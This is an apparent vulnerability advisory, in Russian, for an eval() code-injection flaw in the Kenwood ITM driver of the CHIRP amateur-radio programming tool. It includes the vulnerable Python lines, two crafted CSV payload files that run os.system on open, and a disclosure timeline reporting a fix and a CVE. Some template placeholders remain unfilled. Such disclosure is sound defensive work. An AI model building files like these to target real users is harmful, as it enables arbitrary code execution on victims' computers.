
Эксплойт proof-of-concept для выполнения произвольного кода через инъекцию eval() в приложении для программирования любительских радиостанций, включая вредоносные файлы-нагрузки .itm/.img и анализ первопричины.
eval() в драйвере Kenwood ITMПродукт: CHIRP — открытый проект для программирования любительских радиостанций.
Затронутые версии:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Затронутые версии: <= chirp-next-20260814
CWE: CWE-95 (внедрение через eval)
Драйвер формата файлов Kenwood ITM в CHIRP передаёт необработанные значения полей CSV из открытого файла напрямую во встроенную функцию Python eval() без какой-либо проверки. Злоумышленник, доставивший специально сформированный файл пользователю CHIRP, добивается выполнения произвольного кода от имени пользователя-жертвы.
chirp/drivers/kenwood_itm.py, _clean_tmode(), строки 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
Значения TXSIG и RXSIG берутся непосредственно из строки CSV в открытом файле. Перед eval() не применяется ни проверка типов, ни белый список, ни изоляция.
Ниже приведены два POC.
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. Если используется полезная нагрузка .itm, переключите выпадающий список фильтра на "All Files" (в CHIRP нет фильтра для ITM).{file_name}.itm.2026-8-17 -- Обнаружена уязвимость
2026-8-17 -- Отправлено письмо сопровождающему
2026-8-17 -- Сопровождающий ответил, и код был исправлен в тот же день. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- Установщик версии 20260821 включает исправление.
2026-8-22 -- Выпущен NotCVE-2026-0013.
2026-8-23 -- Выпущен CVE-2026-78136.